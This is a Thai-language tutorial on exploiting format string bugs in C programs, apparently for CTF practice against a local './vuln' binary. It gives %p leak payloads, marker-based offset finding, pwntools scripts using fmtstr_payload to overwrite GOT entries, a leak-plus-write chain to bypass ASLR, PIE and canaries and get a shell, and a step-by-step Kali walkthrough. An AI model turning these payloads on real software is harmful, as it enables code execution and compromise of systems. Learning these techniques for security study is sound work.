Format String

1. หลักการ — ทำไมเกิดช่องโหว่

printf ใช้ format specifier (%s, %d, %x) เพื่อรู้ว่าจะอ่าน argument อย่างไร เมื่อโปรแกรมเขียน printf(user_input) โดยไม่มี format ของตัวเอง (แทนที่จะเป็น printf("%s", user_input)) — ถ้า input มี specifier เช่น %x %p printf จะไปอ่านค่าจาก register/stack ตามตำแหน่ง argument ที่ไม่มีอยู่จริง ทำให้ leak ค่าใน memory ออกมา และ %n ที่เขียนจำนวนตัวอักษรลง address ทำให้เขียน memory ได้

บน x86-64 argument 6 ตัวแรกอยู่ใน register (RDI RSI RDX RCX R8 R9) — RDI คือ format string เอง ดังนั้น %p ตัวที่ 1-5 จะอ่าน RSI RDX RCX R8 R9 และตัวที่ 6 เป็นต้นไปจะเริ่มอ่านจาก stack

2. Leak memory ด้วย %p

# ส่ง %p ซ้ำๆ ดูค่าที่ leak ออกมา
./vuln
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

# ใช้ตำแหน่งระบุได้ (positional) — %N$p อ่าน argument ตัวที่ N
%6$p           # อ่าน argument ตัวที่ 6 (เริ่มจาก stack)

# leak อะไรได้บ้าง:
#  - libc address (return addr บน stack) → คำนวณ libc base → bypass ASLR
#  - PIE base (code address บน stack) → bypass PIE
#  - stack canary (ค่าแปลกๆ ลงท้าย 00) → bypass canary

3. หา offset ของ input เราใน stack

ก่อนทำ arbitrary write ต้องรู้ว่า input string ของเราอยู่ตำแหน่งที่เท่าไหร่ใน argument — ส่ง marker ที่จำง่าย (AAAA หรือ 0x41) ตามด้วย %p ไล่ จนเห็น marker นั้น

# ส่ง AAAAAAAA ตามด้วย %p ไล่ตำแหน่ง
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# ถ้าตำแหน่งที่ 6 คืน 0x4141414141414141 = input เราอยู่ offset 6

# pwntools หา offset อัตโนมัติ
python3 << 'PY'
from pwn import *
def leak(payload):
    p = process('./vuln'); p.sendline(payload); return p.recvline()
fmt = FmtStr(execute_fmt=leak)
print("offset:", fmt.offset)
PY

4. Arbitrary write ด้วย %n

%n เขียน 'จำนวนตัวอักษรที่ printf พิมพ์ไปแล้ว' ลงไปยัง address ที่ argument ชี้ — ควบคุมจำนวน (ด้วย width เช่น %100c) + ควบคุม address (วางใน input) = เขียนค่าที่ต้องการลง address ที่ต้องการ ตัวแปร: %hn เขียน 2 byte, %hhn เขียน 1 byte (ใช้เขียนทีละส่วนเลี่ยงการพิมพ์เยอะ)

from pwn import *
elf = context.binary = ELF('./vuln')

offset = 6                           # จาก section 3

# ตัวอย่าง: overwrite GOT ของ exit ให้ชี้ไป win
payload = fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
# fmtstr_payload จัดการ %n หลายตัว + address ให้อัตโนมัติ

p = process('./vuln')
p.sendline(payload)
# เมื่อโปรแกรมเรียก exit() → กระโดดไป win แทน
p.interactive()

5. เป้าหมายการเขียนที่นิยม

6. คอมโบ leak + write (bypass full mitigation)

format string ทรงพลังเพราะทำได้ทั้ง leak และ write ในช่องโหว่เดียว — workflow คลาสสิกเมื่อมี ASLR/PIE/canary ครบ:

1. 1leak libc address (%p) → คำนวณ libc base (bypass ASLR)
2. 2leak PIE base ถ้าจำเป็น (bypass PIE)
3. 3leak canary ถ้ามี (เก็บไว้ใส่กลับ)
4. 4หา offset ของ input (section 3)
5. 5ใช้ fmtstr_payload เขียน GOT/hook ชี้ไป system หรือ one_gadget
6. 6trigger → ได้ shell

7. Quick Reference

• เกิดจาก printf(user_input) ไม่มี format ของตัวเอง
• leak: %p ซ้ำ หรือ %N$p (ตำแหน่ง N); leak libc/PIE/canary
• หา offset input: AAAAAAAA.%p.%p... จนเห็น 0x4141...
• write: %n (+width); %hn=2byte %hhn=1byte
• pwntools: fmtstr_payload(offset, {addr: value})
• เป้า write: GOT, return addr, __free_hook, exit handler
• combo: leak (bypass ASLR/PIE/canary) + write → shell
• ป้องกัน: printf("%s", input) เสมอ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอโปรแกรมที่รับ input แล้วพิมพ์กลับแบบแปลกๆ (สงสัยว่าอาจเป็น printf(user_input) ตรงๆ) — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อยืนยันช่องโหว่แล้ว leak/write

1. 1ทดสอบง่ายๆ ก่อน: ป้อน %p %p %p %p %p หรือ %x.%x.%x.%x เข้าไป ถ้าเห็นค่า hex แปลกๆ ออกมา = มีช่องโหว่
2. 2ลองรูปแบบระบุตำแหน่ง: %6$p อ่าน argument ตัวที่ 6 — ไล่เลข N ดูว่าตัวไหนน่าสนใจ
3. 3หา offset ของ input ตัวเอง: ส่ง AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p จนเห็น 0x4141414141414141
4. 4หรือใช้ pwntools อัตโนมัติ: fmt = FmtStr(execute_fmt=leak_fn); print(fmt.offset)
5. 5leak ค่าที่ต้องการ: libc address (bypass ASLR), PIE base, canary (ลงท้าย 00)
6. 6checksec ดูว่ามี Canary/PIE/RELRO อะไรบ้าง เพื่อรู้ว่าต้อง leak อะไรก่อน write
7. 7ถ้าต้องการ arbitrary write เลือกเป้าหมาย เช่น GOT[exit] หรือ __free_hook
8. 8สร้าง write payload: fmtstr_payload(offset, {target_addr: value})
9. 9ส่ง payload แล้ว trigger ให้ target ถูกเรียก (เช่นให้โปรแกรม exit)
10. 10ถ้าใช้ format string ได้แค่ครั้งเดียว ต้องทำ leak+write ในการยิงเดียว (ยากกว่า) — ลองดูว่ามี loop ให้ยิงซ้ำไหมก่อน